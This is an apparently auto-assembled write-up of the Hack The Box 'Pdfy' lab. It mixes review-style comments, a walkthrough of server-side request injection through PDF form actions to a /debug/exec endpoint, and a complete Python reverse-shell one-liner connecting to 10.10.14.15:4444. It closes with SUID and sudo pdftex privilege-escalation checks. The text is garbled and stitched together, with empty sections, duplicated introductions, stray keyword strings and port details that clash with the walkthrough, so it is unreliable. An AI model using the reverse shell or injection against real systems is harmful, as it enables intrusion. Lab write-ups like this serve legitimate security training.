Pdfy Htb Writeup Upd May 2026

The writeup follows a logical, phase-based approach:

Each section is broken into “Command → Explanation → Expected Output”, making it easy to follow without blindly copy-pasting. The author also adds “Why this works” callouts — for example, explaining how exiftool can embed malicious JavaScript into PDF metadata that gets executed by the server’s PDF parser.

Minor critique: The writeup could use more screenshots of the web interface, especially the PDF upload/generation page. A few diagrams of the privilege escalation flow would also help visual learners.

nmap -sC -sV -oA pdfy 10.10.11.xx

Ports open:

The internal API has a /debug/exec endpoint (found via fuzzing).

Command injection via PDF:

Create a PDF with an HTTP POST request to http://127.0.0.1:5000/debug/exec with JSON body:

"cmd": "id"

Embed this as a PDF form submission action.

Upload → server executes id and returns output embedded in PNG comment.

Get reverse shell:

"cmd": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.15\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'"

Listener catches shell as www-data.

Mitigation:

Pdfy HTB Writeup

Introduction

Pdfy is a medium-level difficulty box on Hack The Box (HTB), an online platform for cybersecurity enthusiasts to practice their skills in a legal and safe environment. The goal of this writeup is to provide a detailed walkthrough of how to exploit the Pdfy box and gain root access.

Initial Reconnaissance

The first step in exploiting any box on HTB is to perform initial reconnaissance. This involves gathering information about the target system, including its IP address, open ports, and services.

$ nmap -sV -p- 10.10.11.206
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-09 14:30 EDT
Nmap scan report for 10.10.11.206
Host is up (0.052s latency).
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.33 ((Ubuntu))
111/tcp  open  rpcbind 2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.6.25 (Ubuntu)
445/tcp  open  microsoft-ds Samba smbd 3.6.25 (Ubuntu)
5000/tcp open  upnp    MiniUPnPd 1.12
8080/tcp open  http    Apache httpd 2.4.33 ((Ubuntu))

The scan reveals that the target system has several open ports, including:

Enumeration

The next step is to enumerate the services running on these ports to gather more information about the system.

find / -perm -4000 2>/dev/null

Look for pdftex or tex. If pdftex is SUID root or you can run it as sudo, exploit it. pdfy htb writeup upd

Check sudo rights:

sudo -l

You might see:

(ALL) NOPASSWD: /usr/bin/pdftex